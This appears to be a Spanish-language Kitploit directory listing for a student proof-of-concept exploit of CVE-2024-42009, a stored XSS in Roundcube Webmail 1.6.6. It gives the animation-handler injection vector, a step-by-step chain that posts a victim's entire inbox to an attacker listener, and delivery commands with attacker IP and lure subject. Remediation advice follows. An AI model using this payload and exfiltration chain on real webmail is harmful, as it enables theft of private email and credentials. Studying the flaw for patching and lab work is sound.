Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-42009-roundcube-xss | Kitploit
Herramientas/GitHubGitHub/segunakinsoyinu/cve-2024-42009-roundcube-xss
Herramientas de PhishingExplotaciónExplotación de Aplicaciones WebExfiltración de DatosCTFPruebas de PenetraciónAprendizaje y Educación
GitHubsegunakinsoyinu/cve-2024-42009-roundcube-xss

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-42009-roundcube-xss

Ver Repositorio
hace 2 mesesAún no revisado

CVE-2024-42009 — PoC de XSS almacenado en Roundcube Webmail 1.6.6

Solo para pruebas de seguridad autorizadas, entornos CTF e investigación educativa.
Usar esta herramienta contra sistemas que no posees o para los que no tienes permiso por escrito es ilegal según la Computer Misuse Act 1990 (Reino Unido), la CFAA (EE. UU.) y leyes equivalentes en todo el mundo.


Resumen de la vulnerabilidad

CampoDetalle
CVECVE-2024-42009
Software afectadoRoundcube Webmail ≤ 1.6.6
Versión parcheada1.6.7 / 1.6.8
Puntuación CVSS v3.18.8 (Alta)
Vector CVSSAV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CWECWE-79 — Neutralización incorrecta de la entrada durante la generación de páginas web (XSS)
Tipo de ataqueXSS almacenado → Exfiltración de correos sin necesidad de clics
Autenticación requeridaNinguna (entrega por SMTP); Baja (la víctima debe abrir el correo)

Cómo funciona

El saneador HTML de Roundcube 1.6.6 no elimina los manejadores de eventos JavaScript adjuntos a los keyframes de animaciones CSS dentro de un atributo malformado de la etiqueta <body>.

Vector de inyección:

root@kitploit:~
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* arbitrary JS */">

Cuando la víctima abre el correo en su sesión autenticada de Roundcube, la animación CSS se dispara inmediatamente. El manejador onanimationstart se ejecuta con acceso completo al objeto JavaScript rcmail, incluido el request_token de la sesión.

Cadena de explotación:

root@kitploit:~
1. Attacker sends malicious HTML email to victim via unauthenticated SMTP relay (port 25)
2. Victim opens email in Roundcube — animation fires, JS executes (zero clicks required)
3. JS reads rcmail.env.request_token (valid CSRF token for the session)
4. JS iterates all inbox UIDs via Roundcube's internal mail API
5. Each message is fetched and its content collected
6. All inbox data is POSTed as JSON to the attacker's HTTP listener
7. Attacker reads recovered emails — may contain credentials, session data, or sensitive communications

Estructura del repositorio

root@kitploit:~
cve-2024-42009-roundcube-xss/
├── exploit.py       # Sends the XSS payload via unauthenticated SMTP
├── listener.py      # CORS-capable HTTP server; receives and prints exfiltrated inbox data
├── payload.html     # Standalone XSS payload for manual inspection or Burp delivery
└── README.md

Requisitos

  • Python 3.7+
  • Sin dependencias externas (solo biblioteca estándar: smtplib, http.server, json, argparse)
  • El objetivo debe ejecutar Roundcube ≤ 1.6.6
  • El servidor SMTP objetivo debe permitir relé no autenticado en el puerto 25 (habitual en entornos de laboratorio)

Uso

Paso 1 — Iniciar el listener (en la máquina del atacante)

root@kitploit:~
python3 listener.py --port 8080

Salida cuando llegan datos:

root@kitploit:~
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19

  --- Email 1 ---
  UID     : 1
  From    : [email protected]
  Subject : SSH Access Credentials
  Body    : Your credentials are: ...

El volcado JSON completo se guarda automáticamente en exfil_dump.json.

Paso 2 — Entregar el payload

root@kitploit:~
python3 exploit.py \
  --smtp 192.168.62.128 \
  --port 25 \
  --from [email protected] \
  --to [email protected] \
  --attacker 192.168.62.129 \
  --lport 8080 \
  --subject "Security Advisory - Action Required"

Paso 3 — Esperar a que la víctima abra el correo

Cuando el correo se abra en Roundcube ≤ 1.6.6, el listener mostrará el contenido exfiltrado de la bandeja de entrada.


Por qué funciona (detalle técnico)

El purificador HTML de Roundcube es el encargado de eliminar los atributos peligrosos antes de renderizar el HTML de los correos entrantes. En las versiones ≤ 1.6.6, el purificador elimina correctamente onclick, onerror y otros manejadores similares, pero no elimina los manejadores de eventos de animación CSS (onanimationstart, onanimationend, onanimationiteration).

Debido a que las animaciones CSS se disparan como parte del renderizado (no por interacción del usuario), el manejador se ejecuta en el momento en que se abre el correo: sin clic en enlaces, sin ninguna acción del usuario más allá de abrir el mensaje.

El objeto JavaScript rcmail es accesible globalmente en todas las sesiones autenticadas de Roundcube. Expone rcmail.env.request_token, que es el token CSRF de la sesión. Combinado con los propios endpoints de la API de correo de Roundcube (?_task=mail&_action=list, ?_action=show), el payload puede leer la bandeja de entrada completa sin activar autenticación adicional.


Versiones afectadas

VersiónEstado
≤ 1.6.6Vulnerable
1.6.7Parcheada
1.6.8Parcheada (recomendada)
1.5.x LTSConsultar el aviso del proveedor

Remediación

AcciónDetalle
ActualizaciónRoundcube 1.6.8 o posterior parchea esta clase de XSS
Cabecera CSPImplementar Content-Security-Policy: default-src 'self'; script-src 'self' en el vhost del webmail para bloquear la ejecución de JS en línea

Referencias

  • Aviso de seguridad de Roundcube
  • NVD — CVE-2024-42009
  • OWASP Top 10 A03 — Injection

Descubierto / Demostrado por

Este PoC fue desarrollado y probado como parte de una evaluación de pruebas de penetración tipo Boot-to-Root CTF en el módulo Ethical Hacking and Penetration Testing, MSc en Ciberseguridad, Universidad de Coventry (2025–2026). Todas las pruebas se realizaron en un entorno de laboratorio aislado con VMware y con autorización explícita por escrito.

Autor: Segun Akinsoyinu
Portafolio: segunakinsoyinu.github.io/MyPortfolio


Aviso legal

Este código se publica únicamente con fines educativos y de investigación de seguridad autorizada. El autor no acepta ninguna responsabilidad por su mal uso. Antes de utilizar esta herramienta, confirma que dispones de autorización explícita por escrito para probar el sistema objetivo.

Descargar herramienta
ArgumentoDescripción
--smtpIP o nombre de host del servidor SMTP objetivo
--portPuerto SMTP (por defecto: 25)
--fromDirección del remitente (cualquier valor aceptado por el relé)
--toDirección de correo de la víctima
--attackerTu IP: se incrusta en el payload como recopilador de exfiltración
--lportPuerto de tu listener (por defecto: 8080)
--subjectLínea de asunto del correo
Relé SMTPDeshabilitar el relé no autenticado en el puerto 25: exigir AUTH para toda entrega interna